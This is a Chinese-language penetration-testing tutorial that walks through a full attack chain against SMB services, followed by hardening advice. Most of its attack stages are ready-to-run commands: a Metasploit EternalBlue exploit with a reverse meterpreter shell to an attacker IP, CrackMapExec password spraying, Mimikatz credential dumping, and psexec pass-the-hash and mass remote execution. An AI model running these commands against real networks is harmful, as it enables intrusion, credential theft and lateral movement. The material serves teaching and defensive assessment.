摘要: 在企业内部网络中,SMB协议无处不在,它既是业务协作的基石,也是攻击者眼中的“黄金通道”。一个配置不当或存在漏洞的SMB服务,可能导致整个内网的沦陷。本文将从一名渗透测试工程师的视角,系统性地展示针对SMB服务的完整攻击链,包括信息收集、漏洞利用、密码攻击、后渗透与横向移动,并最终为防御者提供一套切实可行的加固建议。

关键词: SMB渗透, 内部网络安全, 渗透测试, EternalBlue, CrackMapExec, Impacket, Metasploit


⚠️ 道德准则与免责声明

本文所有技术仅用于授权环境下的渗透测试、安全评估和教学目的。严禁将本文内容用于任何形式的非法攻击活动。在未获得明确授权的情况下,对任何计算机系统进行测试都是违法行为。一切后果由使用者自行承担。


阶段一:信息收集与枚举(Reconnaissance & Enumeration)

这是所有渗透测试的起点。我们的目标是:发现网络中存活的SMB服务,并尽可能多地榨取其信息。

1.1 发现SMB服务

  • 工具: Nmap (网络扫描的“瑞士军刀”)

  • 目的: 扫描目标网段,找出开放了TCP 445端口(SMB)或139端口(早期NetBIOS)的主机。

  • 实战命令:

    Bash

    # 对192.168.1.0/24网段进行快速扫描,仅探测445端口
    sudo nmap -sS -p 445 --open 192.168.1.0/24 -oG smb_hosts.txt
    
    • -sS: SYN半开放扫描,速度快且相对隐蔽。

    • --open: 只显示状态为“open”的端口。

    • -oG: 将结果以可grep的格式输出,便于后续处理。

1.2 深度枚举SMB信息

  • 工具: Nmap脚本引擎 (NSE), enum4linux-ng

  • 目的: 对已发现的SMB服务进行深度挖掘,获取操作系统版本、共享列表、用户列表、密码策略等。

  • 实战命令 (Nmap NSE):

    Bash

    # 对单个主机192.168.1.10进行详细的SMB信息枚举
    sudo nmap -p 445 --script=smb-enum-shares.nse,smb-os-discovery.nse,smb-security-mode.nse 192.168.1.10
    
    • smb-enum-shares.nse: 枚举文件共享,及其权限。

    • smb-os-discovery.nse: 探测操作系统、计算机名、域名等。

    • smb-security-mode.nse: 查看SMB服务的安全配置,如是否需要消息签名。

  • 实战命令 (enum4linux-ng):

    Bash

    # enum4linux-ng 是一个功能强大的SMB枚举工具
    enum4linux-ng -A 192.168.1.10
    
    • -A: 执行所有枚举选项。它会尝试**空会话(Null Session)**连接,如果目标允许,就能在未授权的情况下获取到大量敏感信息,如:

      • 用户和组列表

      • 共享文件夹

      • 密码策略

      • 打印机信息


阶段二:攻击与利用(Attack & Exploitation)

在收集到足够信息后,我们开始寻找突破口。

2.1 利用公开漏洞

  • 核心目标: 寻找未打补丁的系统,利用已知的远程代码执行(RCE)漏洞直接获取权限。

  • 标志性漏洞: MS17-010 "永恒之蓝" (EternalBlue)

  • 探测与利用工具: Nmap, Metasploit Framework

  • 实战流程:

    1. 探测漏洞是否存在:

      Bash

      sudo nmap -p 445 --script smb-vuln-ms17-010.nse 192.168.1.10
      

      如果Nmap报告“State: VULNERABLE”,则目标极有可能被攻破。

    2. 使用Metasploit进行利用:

      Bash

      msfconsole  # 启动Metasploit
      # 搜索并使用永恒之蓝攻击模块
      msf6 > search ms17-010
      msf6 > use exploit/windows/smb/ms17_010_eternalblue
      
      # 设置目标
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
      
      # 设置攻击载荷(Payload),这里我们使用一个反弹meterpreter shell
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
      msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100  # 设置接收shell的攻击机IP
      
      # 发起攻击
      msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
      
    • 攻击成功后,你将获得一个meterpreter会话,这表示你已经完全控制了目标主机。

2.2 密码攻击

  • 核心目标: 如果没有公开漏洞,就攻击身份认证机制。

  • 常见手法:

    • 密码喷洒 (Password Spraying): 使用一个或几个常见弱密码(如Password123, Admin@2025)去尝试登录所有已发现的用户名。这种方法动静小,不易触发账户锁定。

    • 凭证填充 (Credential Stuffing): 使用在其他地方泄露的用户名和密码组合进行尝试。

  • 实战工具: CrackMapExec (CME)

    Bash

    # 对192.168.1.0/24网段的所有主机,使用users.txt中的用户列表和passwords.txt中的密码列表进行喷洒攻击
    crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success
    
    • CME会清晰地标出哪些凭证是有效的,并显示Pwn3d!字样。


阶段三:后渗透与横向移动(Post-Exploitation & Lateral Movement)

一旦我们获得了一个立足点(一个有效的凭证或一个shell),目标就是扩大战果。

3.1 凭证窃取

  • 目标: 在已攻陷的主机上,获取更多的明文密码、哈希或令牌,为横向移动做准备。

  • 核心工具: Mimikatz

  • 操作(在meterpreter会话中):

    Bash

    meterpreter > load kiwi  # Kiwi是Mimikatz的meterpreter版本
    meterpreter > creds_all  # 转储所有可用的凭证
    
    • 这会尝试从内存(LSASS进程)中dump出登录过该主机的用户的明文密码和NTLM哈希。

3.2 横向移动

  • 目标: 利用已获得的凭证或哈希,去登录网络中的其他主机。

  • 核心工具集: Impacket

  • 常用剧本:

    1. Pass-the-Hash (PtH) with psexec.py: 假设我们通过Mimikatz获取了管理员Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:0d2c0b78a9c3b1be4b9c1a533887b409。我们可以不用破解它,直接用它来登录其他机器。

      Bash

      # 使用哈希远程执行命令,获取另一台机器(192.168.1.11)的shell
      psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0d2c0b78a9c3b1be4b9c1a533887b409 Administrator@192.168.1.11
      
    2. 利用有效凭证访问共享文件:

      Bash

      # 使用smbclient连接到目标的C$盘(管理员默认共享)
      smbclient //192.168.1.11/C$ -U 'WORKGROUP\Administrator'%'Password123'
      
      # 在smbclient提示符下,可以使用 put/get 命令上传/下载文件
      smb: \> ls
      smb: \> get secret.docx
      
    3. 使用CrackMapExec进行规模化移动: 如果我们获得了域管理员凭证,就可以用CME在整个域中执行命令。

      Bash

      # 在所有主机上执行 whoami 命令
      crackmapexec smb 192.168.1.0/24 -u Administrator -p 'Password123' -x "whoami"
      

阶段四:防御与加固(Defense & Hardening)

了解了攻击,才能更好地防御。

  1. 及时打补丁: 永远是第一要务。确保所有Windows系统都安装了最新的安全更新,以防御类似“永恒之蓝”的漏洞。

  2. 强化密码策略: 实施复杂的密码策略,并启用账户锁定,增加密码喷洒和暴力破解的难度。

  3. 遵循最小权限原则:

    • 不要使用管理员账户进行日常操作。

    • 关闭不必要的共享,特别是对Guest账户的访问。

    • 确保文件和文件夹的ACL(访问控制列表)权限设置正确。

  4. 网络隔离与分段:

    • 在防火墙上,严禁将TCP 445端口暴露在互联网上

    • 在内网中,根据业务需求划分VLAN,限制不同安全域之间的SMB通信。

  5. 启用SMB消息签名: 在组策略中开启“Microsoft网络客户端/服务器: 数字签名通信(始终)”。这可以有效防御SMB中继(SMB Relay)攻击。

  6. 监控与审计: 开启并集中收集Windows安全日志,特别是事件ID 4624(登录成功)和4625(登录失败),以及SMB文件的访问日志,以便及时发现异常行为。

结论

SMB协议的渗透测试是一个系统性工程,它完美地诠释了从点到面的攻击路径。对于攻击者来说,它是打开内网大门的钥匙;对于防御者来说,它是一面镜子,映照出内部网络安全管理的每一个细节。只有通过持续的测试、评估和加固,才能确保这条关键的网络动脉不被切断,不被利用。

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐